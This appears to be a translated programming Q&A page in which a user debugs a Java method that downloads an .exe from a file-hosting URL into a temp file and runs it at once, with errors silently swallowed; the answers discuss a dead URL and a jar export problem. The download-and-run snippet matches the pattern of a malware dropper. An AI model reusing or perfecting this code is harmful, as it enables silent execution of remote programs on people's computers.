Java 导出jar时,Files.copy返回空文件
文件在eclipse中正确下载,但是当我导出jar时,它总是下载一个空白的exe。有人能帮忙吗Java 导出jar时,Files.copy返回空文件,java,file,url,download,Java,File,Url,Download,文件在eclipse中正确下载,但是当我导出jar时,它总是下载一个空白的exe。有人能帮忙吗 public static void downloadAndRunFile(final URL from, final File to) throws Exception { try (final InputStream in = from.openStream()) { Files.copy(in, to.toPath(), StandardCopyOption.REPLAC
public static void downloadAndRunFile(final URL from, final File to) throws Exception {
try (final InputStream in = from.openStream()) {
Files.copy(in, to.toPath(), StandardCopyOption.REPLACE_EXISTING);
}
Desktop.getDesktop().open(to);
}
正在运行的实际代码
String bub = "https://a.coka.la/bnH6Vg.exe";
try {
Pandora.downloadAndRunFile(
new URL(bub),
File.createTempFile("feelthevluci", ".exe"));
} catch (Exception e) {
// TODO Auto-generated catch block
}
}
代码中的URL似乎返回404 我把它改成了我知道是安全的,可以在IDE和jar文件中使用
通过curl、浏览器或其他工具检查URL,确保其正常工作。谢谢,但我知道你的意思。这是eclipse导出的一个问题,所以jar被损坏了。使用intellij导出解决了此问题。